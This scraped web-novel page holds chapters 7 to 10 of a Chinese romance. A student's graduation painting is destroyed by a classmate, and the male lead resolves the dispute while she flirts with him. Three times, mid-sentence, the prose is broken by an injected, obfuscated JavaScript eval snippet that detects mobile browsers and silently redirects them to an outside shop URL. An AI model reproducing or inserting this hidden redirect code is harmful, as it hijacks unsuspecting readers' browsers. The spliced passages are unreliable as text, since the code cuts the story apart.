《有钱算特长吗》 7.第 7 章 “好在我给你发的是地址,不是菜谱,不然孟逐溪你现在是不是正在稻田里插秧啊?”孟言溪推门走进,没好气地问。 他绷着脸,神情有些严肃。 周淮琛跟她说了她哥以为她丢了的事,孟逐溪心里理亏,低着头解释:“我在上课,上课的时候手机都静音了,你给我打电话我没听见。” 孟言溪走上前,拉开周淮琛身边的椅子坐下,面对着孟逐溪:“你就不会提前跟我说一声吗?这么大个人了,做事情不动脑子。” 孟言溪平时不会这么严厉对孟逐溪说话,只是今天真以为她丢了,着实被她吓了一大跳。 周淮琛见小姑娘委屈得眼眶都红了,适时打圆场:“好了,教小朋友画画跳舞,挺有意义的事。” 孟言溪嘴巴不饶人:“插秧也挺有意义,孟逐溪,你明天就去田里插秧吧。” 周淮琛:“……” 孟逐溪闷闷道:“辅导员找我,明天我要去学校。” 孟言溪刚才只顾着担心她的安危,这时才想起打电话给辅导员时,辅导员欲言又止的语气。 孟言溪缓了神情,手指敲了下桌面:“这不都要毕业了吗?你们辅导员找你还能有什么事?” 孟逐溪胡乱道:“工作的事吧,现在学校就关心我们的就业率了。” 孟言溪看了眼街对面的幼儿园,不无讥诮地说:“你工作不是找着了么?要不就把这份报上去?” 孟逐溪立马抬眸,求助地看着他。 不要,这份工作太累了! 哪里有又当美术老师又当音乐老师的? 她不过是看小朋友们可爱,这才甘愿顶上一阵子,要一直顶她肯定不行的! 孟言溪见她那萌哒哒的模样,神情这才舒展,也没说什么,就笑了一声,站起身来:“行了,跟我回家。” 三人一同走出咖啡厅,孟言溪的车停在路边,他快步过去开车,孟逐溪和周淮琛落后了几步。 周淮琛想想今天这事儿说离谱,又好笑,但要说跟他没关系吧,又还真有点儿关系。 好像确实是因为他,差点孟家就丢女儿了。 他侧眸看向孟逐溪,正想委婉劝她两句,孟逐溪忽然上前一步,而后转身,和他面对着面。 就这么一个举动,气氛刹那间就变了。 小姑娘俏生生站在他面前。夕阳余晖从高楼间穿过,在地面无限拉长,落在她的身后,她就像站在灿烂的光里。 孟逐溪仰头,清澈的眸子盈盈望着他:“周淮琛,我想了想,我刚才好像跟你说了很多话,又是小乐舞又是小电驴的,但那好像都不是我想说的。” 不知道是她的脸太明媚,还是她的声音太干净,周淮琛的喉咙莫名有点痒,忍不住轻咳了一声。 “嗯,你想说什么?” 孟逐溪弯眼一笑:“我想说,就你上次说v你500万的事儿,不给钱,给人行不?” 孟逐溪稍稍朝他倾身,小声问:“你看我怎么样?” 周淮琛:“……” * 孟言溪把孟逐溪送回家,只有兄妹两人,孟言溪就直说了:“我把地址发你的时候,做好的心理准备是去派出所接你,我是真没想到会去幼儿园接你。” 孟逐溪心累地躺在沙发上,连轴转了整整一个星期,整个人毫无形象地呈大字型:“我也是一不小心就走上了敬业奉献的道路啊。” 孟言溪见她累成这样,又有点心疼:“你那什么破幼儿园?怎么还能又当音乐老师又当美术老师?” 孟逐溪心累地摇摇头,又稍稍抬起头来看向她哥,语重心长道:“能力越大,责任就越大。哥,你不会懂的。” 孟言溪:“……”真是心疼不了她一秒! 他上前踢了踢她的腿:“那你明天回学校怎么办?” 孟逐溪:“请假了。” 孟言溪又问:“要我陪你回去吗?” 孟逐溪顿时不高兴了,仰躺着睨她哥:“你能不能盼我点儿好?你跟我去就算是请家长了,大学生请家长有多严重你知不知道?那都是眼见着毕不了业的学渣才请家长!” “行,”孟言溪这下是真被她给气到了,撂下话来,“有事儿你千万别来找我!” 孟言溪这人,很多时候,孟逐溪都怀疑他修的是乌鸦属性。 一语成谶,第二天孟逐溪就真被喊家长了。 孟逐溪是油画专业,毕业设计是一幅油画作品加上毕业论文,油画作品要求纸质装裱。她的毕业论文虽然写得磕磕巴巴缝缝补补,但对自己的画还是比较有信心的,一早就提交了。可是临到毕业设计展,导师那边却反馈说没有收到她的作品。 辅导员把她叫去学校,她以为就是帮着找找,反正画她是千真万确交了的,指不定就是压在什么地方没看到。 孟逐溪这人就这样,对什么事儿都有种莫名的松弛感。 就跟他追周淮琛一样,追着追着就去他附近幼儿园当老师去了。 但其实辅导员在把她叫过来以前已经找过很多遍了,没有就是没有,她自己来找也不会说就能凭空冒出来。 辅导员问:“你确定提交了吗?” 孟逐溪点头:“我上个月就交了。” 辅导员:“交给谁了?” 孟逐溪:“交给周茉了,我那时候跟她一块儿在游戏公司实习,装裱好后,我就给她一块儿带回来了。” 辅导员沉吟了一下,说:“周茉的毕业作品这边是有的,现在只差你一个人的,你要不问下周茉?” 孟逐溪给周茉打电话,周茉这会儿应该正在忙,电话接通后也是压着声儿问:“怎么了,溪溪?” 孟逐溪:“茉茉,我的画你帮我交了吗?” 周茉:“交了呀,我拿回宿舍,给希瑶她们一块儿交的。” 孟逐溪挂了电话,又打电话给郑希瑶,郑希瑶同样在外面实习,回话说画当时是给的何琪,因为宿舍四人就何琪在准备考研,平时在学校,所以她们三人的画都是放宿舍桌子上,由何琪统一交的。 辅导员于是叫来何琪,何琪却说:“我没有见到你的画,我平时白天都不在宿舍,晚上回去就只看到茉茉和希瑶的画,我只交了我们三个的。” 孟逐溪皱了下眉:“但是希瑶说她是把我们三人的画一起放在了她的桌上,没道理她俩都在,就我没在吧?” 何琪摊了摊手:“那我就不知道了,反正我只看到了她俩的画,没有看到你的。” 孟逐溪被噎了一下。 辅导员笑了笑,委婉地问:“琪琪,你再回想一下,是不是当时拿漏了?因为这边周茉和郑希瑶说的是一致的,是周茉先替孟逐溪收了画,又转交给了郑希瑶,而后郑希瑶转交给了你。” 何琪不卑不亢反问:“她们是亲手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234894|139381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转交给我的吗?” 辅导员沉默了一瞬:“但是这一次毕业作品的提交确实是以宿舍为单位的,不只你们宿舍,其他宿舍也是四幅作品一块儿交的,如果你当时发现少了孟逐溪的画,为什么不提醒一下呢?” 何琪:“老师,虽然是以宿舍为单位提交,可我们也只是友情帮忙,本质上并没有替同学交作业的义务。更重要的是,孟逐溪大四以后就不住宿舍了,她并不算我们宿舍的人。我们宿舍常住人口就三个,我交三幅画也算不上反常吧?” 孟逐溪:“……”同学一场,真的有必要这样吗? 孟逐溪不理解。 她们之间从来没有深仇大恨吧? 闷头亏吃到这里,孟逐溪知道再追究下去也没什么用了,不如节省点时间重新画一幅。 “行吧。”孟逐溪转头对辅导员说,“老师,我重新补一幅。” 辅导员点了下头:“行……” 话没说完,何琪在一旁不轻不重提醒道:“我记得毕设要求里有写,毕业作品和论文须在3月31号以前提交,逾期不得参加毕业答辩,现在时间早就已经过了。” 孟逐溪闭了闭眼。 忍无可忍,无须再忍。 她端起辅导员面前的茶水,朝着何琪的脸兜头泼了上去。 “我给你脸了是吧!” …… 路景越是中午落的地,下飞机后就去了鹿溪饭店。 鹿溪饭店是他和孟言溪一块儿开的酒店。 难得周淮琛回来了,路景越像是生怕再晚两天周淮琛又得回队里,刻不容缓地约了四人一块儿聚。 周淮琛、路景越、孟言溪、骆珩,刚好凑一桌麻将。 然而麻将还没来得及打,孟逐溪的电话就到了。 她没跟孟言溪打电话,因为孟言溪昨晚放话了,让她有事儿千万别找他。她昨儿答应了,所以不敢。但她知道今天路景越要回来,所以偷偷跟路景越打电话。 电话接通后,她还小心翼翼先问了一句:“越哥,你现在说话方便吗?” 路景越看了眼孟言溪。 孟言溪也是个人精,一对上路景越这眼神,就知道是谁在打电话了,点了下下巴。 路景越:“方便。” 孟逐溪:“太好了!我们老师让请家长,你看,你现在方便代表家长过来一下吗?” 路景越轻蹙了下眉,问:“发生什么事了?” 孟逐溪哼哼唧唧了两声,吞吞吐吐说:“这得看你们斡旋的结果了,可大可小吧。” 路景越又往孟言溪看去一眼,孟言溪示意他开免提。 路景越挑眉:不给她留点面子吗? 孟逐溪虽然从小跟着孟言溪相依为命,可是小姑娘从来不爱跟孟言溪出门,所以孟言溪的朋友圈子她是全然陌生的,也就骆珩见过两次面。 路景越目前还没来得及知道孟逐溪和周淮琛那点儿事儿,顾忌着周淮琛这个“陌生人”,怕小丫头在陌生人面前丢脸。 孟言溪也不能当场给他解释啊,就示意路景越开。 行吧,亲哥都说话了。路景越照做。 “你先说小吧。”路景越还算有点良心。 孟逐溪:“我泼了同学一脸水。” 路景越:“……大呢?” 孟逐溪:“我可能会毕不了业。” 众人:“……” 8.第 8 章 辅导员让何琪先回宿舍清理,孟逐溪被单独留在了办公室。 坐在沙发角落里等路景越过来的时候,孟逐溪心里又琢磨了下今天这个事儿,其实也有点后悔。 明明她没错,泼了何琪一脸,反倒像是她错了。 她低头看了看手机。 学校在市中心,离鹿溪不远,现在已经过去十分钟,人应该快到了。 小姑娘垂着头默不作声看手机的模样,落在别人眼里就显得可怜巴巴。 隔壁办公室的教秘过来找书记手签章,和辅导员一块儿找了好一会儿,中间忍不住怜惜地多看了她两眼。 等同事找到章离开了,辅导员心叹一声,去饮水机前倒了杯水递给她:“喝点水吧。” “谢谢老师。”孟逐溪双手接过,仰头向辅导员道谢。 小姑娘眼眸清澈干净,跟一汪清泉似的,一眼就能见到底。 辅导员也就忍不住多说了一句:“你看你,冲动是魔鬼吧?本来是你占理的,这一泼,你反而成了叫家长的那一个。” “笃笃。”门口传来敲门声。 紧接着,一道磁沉的声线传进:“请问是王老师吗?” 听见熟悉的声音,孟逐溪猛地扭头。 门口处,男人身高腿长站在那里,一身黑色休闲装,一手插在裤子口袋里,沉黑的眸子微垂,视线与她对上。 周淮琛。 孟逐溪没有想到来的人会是他,一下子有点懵,直直坐在那里,呆呆望着他。 “您是?”辅导员问。 男人下巴朝角落里的孟逐溪松松点了下:“她家长。” 孟逐溪:“……” * 辅导员出去打电话叫何琪过来,办公室里只剩下孟逐溪和周淮琛两人。 “怎么是你过来?越哥呢?” 面对周淮琛,孟逐溪莫名心虚,在沙发上磨磨蹭蹭了几秒才站起来,垂着头走到男人面前。 周淮琛插兜看着她,哼笑一声:“你以为我想过来?你越哥和你哥都喝了酒,开不了车,司机过去接还要等一会,怕你一个人在这边受委屈,我替他跑一趟。” 孟逐溪一听,刷地抬头:“我哥也在?” 周淮琛:“在啊。” 孟逐溪:“……”忽然觉得更丢脸了。 感觉昨晚说的硬气话都变成了打脸。 孟逐溪垂着头,两根食指绕啊绕的,闷闷道:“那你也不能说是我家长啊……” 周淮琛前两次见孟逐溪,小姑娘都是神采飞扬的,真就是个小公主,连头发丝儿都带着娇气。 电话里听她说拿水泼同学脸,还以为她多天不怕地不怕呢,结果来了一看,蔫巴巴坐在角落里,连跟他说话眼睛里也透着心虚。 看来还是知道害怕的。 周淮琛好笑地问:“我怎么就不是你家长了?” 孟逐溪就默默望着他。 他们有半点血缘关系吗? 周淮琛勾着唇笑:“我跟你哥是兄弟,也就算是你哥吧。长兄如父听过没?四舍五入我都能当你爸了。” 孟逐溪:“…………” 神特么长兄如父啊! “抱歉,久等了。” 这时,辅导员走进来,她身后隔了两米左右,跟着何琪。 何琪回宿舍换了衣服,简单洗了头。她的肤色偏深一些,戴一副黑框眼镜,扎马尾,典型的学生模样。进门时眼风扫了眼孟逐溪,又看了眼周淮琛,很快又垂下眼,一张脸冷漠地板着。 面对孟逐溪和她的“家长”,她看起来像一朵坚韧的小花,虽弱却不畏强权的模样。 “来,何琪,坐。”辅导员为何琪拉开椅子,又请周淮琛坐,“您也坐。” 周淮琛大马金刀地坐下,孟逐溪默默站在他边上。 自知闯祸了,乖得不行。 辅导员刚准备开口,就见何琪从包里拿出手机,点开录音功能。 辅导员愣了一下:“这是做什么?” 何琪不卑不亢道:“王老师,我不是本地人,我的家长也不像孟逐溪同学的家长一样,能一个电话就为了她赶过来。可能今天过后,您也会联系我的家长,我到时候总要给他们一个交代,所以您不介意我先录个音吧?” 辅导员被噎了一下,愣了好几秒,才转头看向周淮琛问他们的意见:“您这边呢?” 孟逐溪站在周淮琛身边,见何琪这一系列操作就堵得慌。录音她不介意,她介意的是何琪为什么一副他们在联合起来欺负她的模样啊? 谁欺负她了? 明明现在快毕不了业的人是她孟逐溪好么! 她不开心地用手指戳了戳周淮琛的后背。 男人的肌肉硬邦邦的,像铜墙铁壁一样。 周淮琛:“不介意。” 孟逐溪:“……”她现在可以临时要求换“家长”吗? 当着当事双方,辅导员首先简单说了下整件事的来龙去脉,跟孟逐溪在电话里面讲的差不多。 说完事情,辅导员温和地笑了笑,对周淮琛道:“大家都是同学,同学之间抬头不见低头见,发生龃龉也是在所难免。本来大学生都是成年人了,也远到不了请家长这个地步。只是今天的事,一来关系到孟逐溪同学能不能顺利毕业,二来孟逐溪同学情绪比较激动,所以才会将您请过来,看能不能大家坐下来讨论出个解决方案,至少不要影响到孩子的前程。” 周淮琛点了下头:“理解。” 他看了眼孟逐溪,言简意赅总结道:“所以目前是两件事,一个是校方没有收到孟逐溪的毕业作品,按照要求,要取消她今年的答辩资格;一个是孟逐溪对同学动手了。” “是霸凌。”何琪打断。 辅导员皱了下眉,现在的小孩动不动就上纲上线上小作文三件套。他们做学校工作的最怕这个,一个不好拖着学校一起下水,热搜上能被网友拉着祖宗十八代一起骂个七天七夜。 她还没说刚才何琪其实就已经发朋友圈了。虽然不是小作文,基本上也是小作文的预热了。意有所指的文案配上自己被孟逐溪泼一脸水的图,还好被她及时发现,赶紧打电话过去让她先删掉了。 何琪本来是不肯删的,还是她好言相劝,暗示她孟逐溪的家长不是无名之辈,挺注意名声的,让她先看看孟逐溪家长能给出什么样的态度和诚意,何琪这才愿意先暂时不发作。 结果这一会儿又上纲上线到霸凌了。 “我什么时候霸凌你了……”孟逐溪气不过。 周淮琛拉住她的手,将人拉回来,气定神闲道:“报警吧。” 何琪脸色一变,辅导员脱口而出:“您说什么?” 周淮琛视线落在何琪身上:“孟逐溪用茶水泼同学,无论她有什么理由,她先动了手就是她不对,在此,我替她向你道歉。” “周淮琛你——” 周淮琛用力按住她的手,继续道:“但我知道的也仅此而已,并不知晓她是不是瞒着我们还做了别的事,才会让你说她霸凌。如果真的是霸凌,那就是违法了。如果她真的敢这么无法无天,我和孟家绝不姑息。我替你报警,交给警察来彻查。” 何琪眼神飞快地闪烁了两下,支支吾吾道:“她,她倒是也没有做别的……就,就不必浪费警力了吧。” 周淮琛看着她的眼睛:“那孟逐溪还是霸凌吗?” 何琪紧紧咬着唇,没吭声。 周淮琛注视着她,又问了一遍:“同学你说呢?” 何琪眼风瞥了眼亮着的麦克风,手机开着录音,她还是没吭声。 辅导员这时打圆场:“害,都是同学,一场误会,何必上纲上线呢?还能为咱们这点儿小事浪费警力不成?” “这个警力今天怕是不得不浪费了。”周淮琛淡道。 何琪猛地抬头看着他。 周淮琛不紧不慢道:“报警,一来是查孟逐溪有没有霸凌同学,二来是找出孟逐溪的毕业作品。” 何琪的脸刷地白了,手指轻轻发抖。 周淮琛将她的微表情看在眼里,问辅导员:“王老师,根据贵校的毕业设计要求,学生须在3月31号以前提交毕业作品和毕业论文,逾期不得参加当年的毕业答辩,是吗?” 辅导员:“对,毕设要求已经发到了学生群里,各位同学都能看到。” 周淮琛轻点了下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273058|139381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头:“所以目前的关键是,孟逐溪到底有没有在3月31号以前提交毕业作品。如果查实她没有提交,那我们遵守规定,也不用学校捞她,我首先不让她参加答辩,明年从头再来。但如果她确实在截止日期以前提交了作品,那这个责任再由她来承担,就有失公正了吧?” 辅导员沉吟片刻,颔首:“没错,现在的关键是,查明孟逐溪同学有没有在截止日期前提交作品。如果她交了,但因为某些因素,我们没有收到她的作品,那就不是她的错,学校应该再给她一次补交的机会,同时找出这中间具体的责任人。” 周淮琛长指轻敲桌面:“根据相关规定,学校监控要求至少保留一到三个月。报警后,警察会首先调取监控。油画作品不小,如果孟逐溪的同学真的将它带回了宿舍,计划以宿舍为单位统一提交,那么在宿舍公共区域一定会留下监控记录。如果证实孟逐溪没有说谎,再要找出具体责任人,就不难了。虽然宿舍里面没有监控,但只要确定画已经进了宿舍,再向相关同学取证,辅以聊天记录佐证,整个过程也浪费不了多少警力,动作快点,今天下班之前就能水落石出了。” 何琪笔直地坐在椅子里,脸色苍白,手心全是冷汗。 周淮琛视线扫过她,侧头对孟逐溪道:“报警。” 孟逐溪这会儿浑身舒畅,看周淮琛步步为营帮她讨回公道,只觉整个人乳腺通畅,脆生生说了声“好”,立刻掏出手机。 “滴、滴——” 手机按键的声音落在死寂的办公室内,响亮而清澈。 “等等!”何琪猛地站起来,乞求地看向辅导员,“别报警!” 辅导员抿着唇,沉沉看着她。 * 周淮琛领着孟逐溪离开院系大楼的时候,夕阳沉坠,远处运动场传来篮球砸地的声音。有少年穿着短袖,骑着自行车,风一般从他们面前飞过。 最终他们还是没有报警。 何琪承认孟逐溪的画被她毁掉了,哭着向孟逐溪乞求原谅。辅导员毕竟带了她们四年,对学生总是有感情的,如果可以,哪怕只有一点希望,她也想帮学生争取到一个尽量好点的结果。 辅导员在一旁说好话,说会如实将此事上报给院系领导,由校方对何琪做出处理,同时再给孟逐溪一次作品提交的机会。只是希望这件事就控制在校内,不要报警,不要扩大。 孟逐溪答应了。 但她还是不理解,走出大楼,她问周淮琛:“她图什么呢?明明学校到处都是监控,只要我一报警,总会发现她有问题。” 周淮琛侧眸看了她一眼,慢条斯理道:“在犯罪学上,犯罪分为‘有预谋犯罪’和‘激情犯罪’,你说那种将种种细节都考虑得面面俱到的是有预谋犯罪,但事实上在具体司法实践中,遇见的很多犯罪都是临时起意。犯罪主体并没有想太多,大多只是受一时情绪支配就做了,也就是所谓的‘激情犯罪’。” “你同学显然属于后者。一时冲动在先,心怀侥幸在后。毕竟在校园里,只要没有侵犯到人身安全,大多不会选择报警。” 周淮琛的车停在停车场,从院办大楼走过去要大约五分钟。两人并排走在校园里,孟逐溪稍稍落在他身后。 夕阳斜斜照过来,男人身形高大,她可以完全藏在他的影子里。 像将她纳入了他的羽翼。 孟逐溪仰头望着男人干净利落的后脑勺,心怦怦的。 周淮琛忽然回头,正对上她毫不掩藏的目光。 周淮琛:“在看什么?” 孟逐溪的心往胸口撞了一下,胡乱道:“没什么,在想激情犯罪原来是这个意思。” “原来?所以你以为是什么?” 孟逐溪直直看着男人英挺的脸庞。 夕阳从前方打来,他微微侧头看着她,使他的面庞一半在光里,一半在阴影中,更加立体深邃。 孟逐溪的视线往下,落在他凸起的喉结。他的喉结很明显,尤其侧身的时候,线条锋利,让人很想亲上去。 鬼使神差的,她轻喃:“我以为是男女间的犯罪,比如,比如……我未经你允许,扑上来亲你。” 周淮琛:“………………” 9.第 9 章 年华正好的小姑娘,即使脂粉未施,小脸依旧明媚娇妍,真真肤如凝脂,看不见毛孔。唇色有些浅淡,却又娇又嫩,像春天的第一朵杏花,恣意绽在枝头。 乍见春光,不谙世事。 周淮琛忽然觉得喉咙有点痒,忍不住轻侧开头。 懒得搭理她。 周淮琛径自往停车场走去。 孟逐溪望着男人的背影,停了两秒追上去,走到他身边的时候故意离他很近。 她一直记着郑希瑶说的感官刺激,其实小吊带她都已经准备好了,露胸的露背的都有,就等着在他面前展现她饱满的曲线和大片白腻的肌肤了。只可惜两次都是这么不巧,上次在幼儿园,这次在学校,她都没料到他会忽然出现,穿得规规矩矩,一点准备都没有。 视觉指望不上,也就只能指望触觉了。 这块儿郑希瑶没细说,但她自觉天赋不错,可以随机应变临场发挥。 她追上去,故意走在他身侧,身体有意无意蹭过他的手臂。 小姑娘的身子柔软极了,跟他硬邦邦的身体俨然两个极端,周淮琛的指尖跳动了一下。 这是一个几不可察的反应,可是偏偏被孟逐溪眼尖地捕捉到了,她顿时像是受到了鼓舞。结果下一秒,男人忽然伸手揉了下她的发顶,顺势将她往旁推开。 “别胡闹,等你出嫁,哥给你添嫁妆。” 男人手长脚长,孟逐溪的脑袋被他控制在掌心里,他伸直了手臂,孟逐溪离他至少一米远,半点儿近不了他的身。 孟逐溪:“……” * 孟言溪和路景越还在鹿溪。 孟言溪虽然看起来是个不靠谱的哥哥,但看孟逐溪能没心没肺长这么大也能知道,他私底下多少还是操了点儿心的。今天周淮琛去了学校以后,他这边一连打了好几个电话。 路景越看在眼里,问:“这么不放心,怎么不亲自去?” 孟言溪站在窗前摆弄着手机,头也没抬,说:“喝酒了,开不了车。” 路景越侧开头,都懒得戳穿他。 鹿溪饭店是他和孟言溪合开的,虽然对外说的比较有文化——林深时见鹿,溪午不闻钟。但更实在的版本其实是从他和孟言溪的名字里各取了一个字。 还司机来不及赶过来接他? 所以全岁宜最豪华的五星酒店之一竟然连给老板派辆车都派不出来? 也不知道周淮琛是怎么信的他的邪? 对啊。 路景越想到这里,脑子里忽然闪过周淮琛爽快拿起车钥匙出门的画面,漆黑的眸子若有所思。 所以周淮琛究竟是怎么就信了他的邪? 路景越上下打量着孟言溪:“你是不是有什么事没跟我说?” 孟言溪人虽然没出去,可是消息灵通,这么一会儿功夫,什么都打听得明明白白了。 他此刻的心情其实有点儿复杂。 一方面,他相信周淮琛的能力,堂堂猎豹队的队长,处理这点小事儿还不跟玩儿似的?肯定不会让他妹受半点儿委屈。 可是另一方面,他又有种莫名的失落。小丫头现在才大四,就已经不用他这个哥哥替她出头了吗? 他可是连她挑男人挑花了眼以至于三十岁还嫁不出去的准备都做好了。 这么一想,对上路景越探究的目光,他没好气地坐回沙发,将手机随手往旁一扔。 “别我说了,等孟逐溪回来,让她自己跟你说吧。” 路景越挑眉。 周淮琛把人从学校领出来后,就直接给送回了鹿溪饭店,又向孟言溪说了学校里发生的事。 孟言溪已经清楚事情的来龙去脉了,不过周淮琛的处理结果确实超出他的预期。 稳、准、快。 不愧是周队长。 孟言溪得承认,今天这事儿就是他亲自去,也未必能解决得这么快。 当然解决是肯定能解决的,不管怎么着,他孟言溪还不至于让妹妹受欺负,更甚至毕不了业。只是能当场就让对方认错求饶,没多拖拉一秒钟,他或许还真不一定。 像孟逐溪说的,他去的话,更多的可能是跟校方斡旋,让校方去查。但这种事情,时间消耗越久,他妹妹的心理压力就会越大。 “谢了,兄弟。”孟言溪拍了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297913|139381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍周淮琛的肩。 周淮琛哼笑一声:“小事。” 他又看了眼正在一旁跟路景越说话的孟逐溪:“我毕竟是外人,不好管太多。这事儿程序上虽然解决了,私下里你还是要再跟她聊聊,小姑娘没什么心眼儿,我怕她莫名招了算计,心里会有负担。” “放心。”孟言溪点了下头。 周淮琛转了下车钥匙,就打算走了。 正是饭点儿,孟言溪连忙喊住他:“饭不吃了?” 周淮琛漫不经心说:“不了,晚上老爷子喊吃饭,我可不敢抗旨。” 别说周淮琛不敢抗旨了,就是孟言溪,一想起周家老爷子军装肩徽上的星星,也不敢再留他。 结果这边周淮琛刚一转身,那边正跟路景越说着话的孟逐溪立马就从沙发上起身,跟在他屁股后头,大有要当小尾巴一路跟着周淮琛回家的架势。 周淮琛好笑地回头,眸子轻垂,视线顺着眼尾落在孟逐溪身上:“你干嘛呢?” 孟逐溪轻眨了下眼:“跟你回家。” 孟言溪:“……” 孟言溪在一旁都替她感到丢脸,赶紧把自家妹妹拉回来:“孟逐溪,你礼貌呢?” 你忘了你为了不唐突周淮琛自己跑到幼儿园打工的事儿了吗?! 却见孟逐溪一脸坦荡,虽娇美却不骄纵,不急不躁地跟他讲道理:“就是因为礼貌,所以我才要跟他回家啊。” 周淮琛听见这话就乐了,也不着急走了,好整以暇反问:“你这话可得说清楚了,什么叫你是因为礼貌,才要跟我回家?我是干了什么让你这么‘懂礼貌’的事儿了?” 孟逐溪仰脸看着他:“你说你要给我添嫁妆。” 周淮琛:“……” 路景越、孟言溪:“?” 两兄弟齐刷刷看了看周淮琛,又动作一致看向孟逐溪。 孟逐溪一脸感恩对着周淮琛:“谢谢,嫁妆我就收下了。但我怎么好意思白收你嫁妆呢?那我就跟你回家吧,以后给你当妹妹。” 周淮琛:“………………” 操,他怎么忽然感觉无法直视“妹妹”这两个字了! 10.第 10 章 孟逐溪最后也没能跟着周淮琛回家。 这不能说毫无悬念,只能说悬念不大。 当然最主要的原因还是周淮琛休假结束,第二天就要回队里了。 孟逐溪起初还理解不了这意味着什么,她亲哥残忍地告诉她:“这意味着少则几个月,多则一年,你都见不到他了。” 孟逐溪:“!” “他那什么工作啊?都不放假吗?”孟逐溪很震惊,她以为996已经是人类的极限了。 “放啊,”孟言溪说,“人是自愿献身祖国和人民。” 孟逐溪:“……我不理解。” “你以为都跟你一样?不管上学还是上班,脑子里没别的事儿,就天天想着放假?”孟言溪说着说着又上手,揉了一把他妹的头发,“周淮琛可是把这辈子全部的热血都投入到了特警队。” 孟逐溪一脸问号,以至于都没想起来去拍孟言溪的爪子。 她老实说:“热爱工作热爱到放假不回家?我真的不理解。” 怎么会有人把全部的热情都献给工作呢? 难道除了工作以外,这世上就没有什么人什么事能激起他的热情了吗? 这对于孟逐溪而言简直是无法想象。 孟言溪垂眸看着孟逐溪,勾人的大桃花眼里忽然就有了孟逐溪看不懂的慈爱:“不懂是好事。” 孟逐溪:“?” * 周淮琛这一归队,孟逐溪幼儿园那个工可就算是打了个寂寞。 她那原本忍一忍忍到暑假就去跟周淮琛“偶遇”的计划算是彻底泡汤。 雪上加霜的是,她还要重新补毕业作品。 那为什么毕业作品能叫毕业作品呢?肯定是因为那幅画花了她最多的心思,代表了她最高的水平啊。 结果最高水平莫名其妙被同学毁了。 孟言溪后来让她回忆一下,是怎么跟人结仇的。 孟逐溪一脸懵:“我不知道啊,我还以为我们是朋友。” 孟言溪就不问了。 这世上总会有这样那样莫名其妙的恶意,这样的恶意最初可能只是来源于一瞬间的看不惯。看不惯你运气好、看不惯你衣服漂亮、甚至只是看不惯你的笑容无忧无惧。 这样的看不惯最善于在阴暗逼仄的角落里无限滋长壮大,而后就变成了单方面的恶意。 但你并没有错,你甚至什么也没有做。 你自然不必为此自我反省。 孟言溪替幼儿园找来了新的美术老师,同一时间音乐老师也销假回来上班了,孟逐溪抓住机会向园长提出了辞职。 园长其实很舍不得她,小姑娘看着娇气,实际上很能扛事儿,也很有责任感。她试着挽留,可是孟逐溪眼前的头等大事显然是毕业,她自然没有理由不答应。 离开幼儿园后,孟逐溪又去了一趟周淮琛家楼下。 周淮琛住的不是那种密集的大高层,算是洋房吧,但不是正宗的退台洋房,也就楼层低一些,统共11楼,周淮琛家住九楼,面朝中庭。 孟逐溪坐在小区中庭的椅子上,仰头望着周淮琛家紧闭的窗户。 孟言溪说他这几个月都不会回来了,她问:“几个月是多少个月?端午?中秋?该不会是国庆吧?” 孟言溪一脸残忍:“不一定,你直接期待春节比较保险。” “……” 该不会真的要等到春节他才回来吧? 孟逐溪对着周淮琛家的窗户,惆怅地轻叹一口气。 “孟逐溪?” 听见有人喊她,孟逐溪循声转头。 乔绵绵很高,裸身高目测一米七,脚下踩着一双镶钻的银色细高跟,配一条黑色低胸裙,浅粟色的头发刚到肩膀的位置,脸上一副大墨镜,遮了她半张脸,只露出烈焰般的大红唇。 或许是没想到孟逐溪会出现在这里,她颇有些惊奇,墨镜下滑到鼻梁以下,露出一双狭长的眼睛,视线从墨镜上方穿过,打量着孟逐溪。 “你怎么会在这里?”乔绵绵戒备地问。 孟逐溪同样没想到会在这里遇见乔绵绵,仰头下意识答了一句:“我在旁边上班啊……” “上班?”乔绵绵鼻梁上的墨镜往下掉了掉。 “不过刚才已经辞职了。”孟逐溪不欲多说,“你又怎么会在这里?” 乔绵绵鲜红的指尖扶了扶墨镜:“我今天搬家,刚去跟物业打完招呼。” 孟逐溪以为她是搬进来,同情地望着她:“你来晚了,周淮琛休假结束,已经回特警队了。” 要春节才回来。她在心里惆怅地补了一句。 乔绵绵神情微妙地看着她三秒,残忍地告诉她:“我知道,我今天是搬走。” 孟逐溪:“………………” 所以她的动作究竟是有多慢? 乔绵绵都搬进来跟周淮琛近水楼台一个回合了,她还在想着先打工到暑假等放假了再来招惹周淮琛! 偏乔绵绵哪壶不开提哪壶,见她出现在这里,立刻明白她是追着周淮琛过来的,还追问她:“不对啊,你在附近上班,我怎么从来没有见过你?” 